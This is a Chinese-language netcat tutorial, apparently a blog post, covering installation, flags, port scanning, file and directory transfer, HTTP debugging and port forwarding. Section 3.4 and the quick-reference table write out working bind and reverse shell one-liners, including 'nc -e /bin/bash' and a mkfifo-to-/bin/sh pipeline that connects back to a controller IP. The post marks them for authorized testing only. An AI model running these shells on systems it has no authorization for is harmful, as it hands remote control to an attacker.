Netcat (nc) 全面使用指南

Netcat 被誉为网络工具中的"瑞士军刀",是一个功能强大的网络调试和诊断工具。它可以在 TCP/UDP 协议下进行连接、监听、端口扫描、文件传输和代理转发等操作。

一、安装与基本语法

1.1 安装方法
操作系统 安装命令
Ubuntu/Debian sudo apt install netcat-openbsd
CentOS/RHEL sudo yum install nc
macOS brew install netcat
Windows 下载 ncat 或独立 nc.exe
1.2 基本语法
bash 复制代码
nc [选项] [目标主机] [端口]

Netcat 有两种核心工作模式:

模式 说明 典型命令
客户端模式(连接模式) 主动连接到远程主机 nc host port
服务器模式(监听模式) 监听本地端口等待连接 nc -l -p port

二、核心参数详解

2.1 基础参数
参数 说明 示例
-l 监听模式,作为服务器端 nc -l 8080
-p 指定本地端口 nc -l -p 8080
-u 使用 UDP 协议(默认 TCP) nc -u -l 8080
-v 详细输出,-vv 更详细 nc -vz target 80
-n 不进行 DNS 解析 nc -nv 192.168.1.1 80
-z 零 I/O 模式,仅扫描端口 nc -zv target 1-1000
-w 设置超时时间(秒) nc -w 3 target 80
-k 保持监听,接受多个连接 nc -lk 8080
-4 仅使用 IPv4 nc -4 target 80
-6 仅使用 IPv6 nc -6 target 80
2.2 高级参数
参数 说明 适用场景
-e 连接后执行程序(危险!) 反向 Shell
-c 通过 /bin/sh 执行命令 替代 -e
-x 通过代理连接 穿透代理
-X 代理协议(4/5/connect) SOCKS 代理
-N EOF 后关闭 socket 规范关闭连接
2.3 参数差异说明

重要 :不同 Linux 发行版内置的 nc 版本可能有差异:

版本 特点 常见发行版
OpenBSD 版 功能丰富、安全,无 -e 选项 Ubuntu、Debian、macOS
Traditional 版 支持 -e 选项 CentOS 6、RHEL 6
Ncat (Nmap) 功能最全,支持 SSL 可单独安装

查看版本:nc -h 看输出特征判断。

三、核心功能场景

3.1 端口扫描

TCP 端口扫描

bash 复制代码
# 扫描单个端口
nc -zv 192.168.1.1 22

# 扫描端口范围
nc -zv 192.168.1.1 20-100

# 详细扫描(两次 -v)
nc -vvz 192.168.1.1 80-443

# 带超时扫描
nc -zvw 3 192.168.1.1 1-1000

UDP 端口扫描(UDP 扫描可靠性较低):

bash 复制代码
nc -zuv 192.168.1.1 53
nc -zuv 192.168.1.1 1-100

使用说明

  • -z:不发送任何数据,仅检查连接状态
  • -v:显示详细信息,-v -v 显示更详细内容
  • -w 3:设置超时 3 秒,避免长时间等待
3.2 建立 TCP/UDP 连接与聊天

TCP 聊天

bash 复制代码
# 服务器端(监听)
nc -l 8080

# 客户端(连接)
nc 192.168.1.100 8080

UDP 聊天

bash 复制代码
# 服务端
nc -u -l 8080

# 客户端
nc -u 192.168.1.100 8080

连接建立后,双方输入的内容会发送给对方,按 Ctrl+C 退出。

持续监听模式(接受多个连接):

bash 复制代码
nc -lk 8080
3.3 文件传输

传输单个文件

bash 复制代码
# 接收端(服务器)
nc -l 8080 > received_file.txt

# 发送端(客户端)
nc 192.168.1.100 8080 < send_file.txt

传输目录 (结合 tar):

bash 复制代码
# 接收端:监听并解压
nc -l 8080 | tar xzvf -

# 发送端:打包并发送
tar czvf - /path/to/dir | nc 192.168.1.100 8080

传输完成后自动关闭:当发送端文件传输完毕,连接自动关闭。

3.4 远程 Shell(反弹 Shell)

正向 Shell(目标机器主动提供 Shell):

bash 复制代码
# 目标机器(服务器)
nc -l 8080 -e /bin/bash      # Linux(需 -e 支持)
nc -l 8080 -e cmd.exe        # Windows

# 控制端(客户端)
nc target_ip 8080

反向 Shell(更常用,可突破防火墙):

bash 复制代码
# 控制端(等待连接)
nc -l 8080

# 目标机器(主动连接)
nc 控制端IP 8080 -e /bin/bash

无需 -e 的反向 Shell(OpenBSD 版本):

bash 复制代码
# 控制端
nc -l 8080

# 目标机器
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 控制端IP 8080 > /tmp/f

安全警告-e 功能极不安全,仅限授权测试环境使用。

3.5 HTTP 调试与 Web 服务模拟

手动发送 HTTP 请求

bash 复制代码
# 连接后手动输入
nc example.com 80
GET / HTTP/1.1
Host: example.com

# 或通过 echo 发送
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80

模拟简单 Web 服务器

bash 复制代码
# 返回固定内容
echo -e "HTTP/1.1 200 OK\r\n\r\nHello World" | nc -l 8080

# 持续响应(循环)
while true; do echo -e "HTTP/1.1 200 OK\r\n\r\n$(date)" | nc -l 8080; done
3.6 端口转发与代理

基本端口转发

bash 复制代码
# 将本地 8080 转发到目标 80(需命名管道)
mkfifo /tmp/fifo
cat /tmp/fifo | nc target 80 | nc -l 8080 > /tmp/fifo

Ncat 代理功能(功能更完整):

bash 复制代码
# 通过 SOCKS5 代理连接
ncat --proxy socks5://proxy:1080 --proxy-type socks5 target 80

# SSL 加密连接
ncat --ssl target 443

四、实用命令速查

用途 命令
端口扫描 nc -zv target 1-1000
UDP 端口扫描 nc -zuv target 53
简单聊天服务器 nc -l 8080
UDP 聊天 nc -u -l 8080
文件接收 nc -l 8080 > file
文件发送 nc target 8080 < file
目录传输(发送) `tar czf - ./dir
目录传输(接收) `nc -l 8080
HTTP GET 请求 `echo -e "GET / HTTP/1.1\r\nHost: target\r\n\r\n"
简单 Web 服务 `echo -e "HTTP/1.1 200 OK\r\n\r\nOK"
反向 Shell(Linux) nc target 8080 -e /bin/bash
反向 Shell(无 -e) `mkfifo /tmp/f; cat /tmp/f

五、不同版本对比

特性 OpenBSD nc Traditional nc Ncat (Nmap)
默认端口扫描 -z
UDP 支持 -u
-e 选项 ❌ 不支持 ✅ 支持 ✅ 支持
SSL/TLS 加密
代理支持(SOCKS/HTTP) ✅(OpenBSD 新版)
多连接模式 -k
适用场景 日常使用 老脚本/逆向 Shell 安全测试/加密传输

推荐

  • 日常使用 → OpenBSD 版本(系统自带)
  • 需要 -e → 安装 Ncat 或 Traditional 版
  • 需要加密 → 使用 Ncat --ssl 选项

六、注意事项

  1. 安全使用
  • -e 选项极其危险,会暴露系统 Shell,仅限授权测试环境使用
  • 生产环境推荐使用 Ncat + SSL 加密传输敏感数据
  1. 网络影响
  • 高速端口扫描可能被安全设备识别为攻击行为
  • UDP 扫描容易出现误报,应配合其他工具验证
  1. 权限要求
  • 绑定 1024 以下端口需要 root 权限
  • 某些功能需要 root 权限才能正常工作
相关推荐
云飞云共享云桌面4 小时前
传统工作站 vs 云飞云共享云桌面:制造业设计云桌面选型深度对比
运维·服务器·前端·网络·3d·架构·制造
森G7 小时前
61、信号与槽机制在 TCP 编程中的应用---------网络编程
网络·c++·qt·网络协议·tcp/ip
swordbob9 小时前
NIO 的 Channel 里有多个 BIO 吗?
linux·网络·nio
天天讯通9 小时前
OKCC 呼叫中心安全性能全解析:技术防护与管理措施指南
大数据·开发语言·网络·人工智能·安全·语音识别
leo_yu_yty11 小时前
Go语言分布式计算(RPC入门)
网络·网络协议·rpc
2401_8685347811 小时前
2025下半年网络规划设计师真题(选择题、案例分析)
运维·服务器·网络
TechWayfarer12 小时前
查IP归属地接入实战:保险理赔如何做动态风险监控与预警
网络·python·tcp/ip·安全·flask
Resurgence_zc12 小时前
openGauss 资源池化主备页面交互流程梳理
网络·交互·数据库开发
Dlrb121112 小时前
Linux网络编程-网络基础概念(IP, UDP协议)
linux·服务器·网络·网络基础·端口号·ip协议·udp协议
shushangyun_12 小时前
汽车服务行业B2B平台+AI解决方案哪家专业:2026年最新测评
java·运维·网络·数据库·人工智能·汽车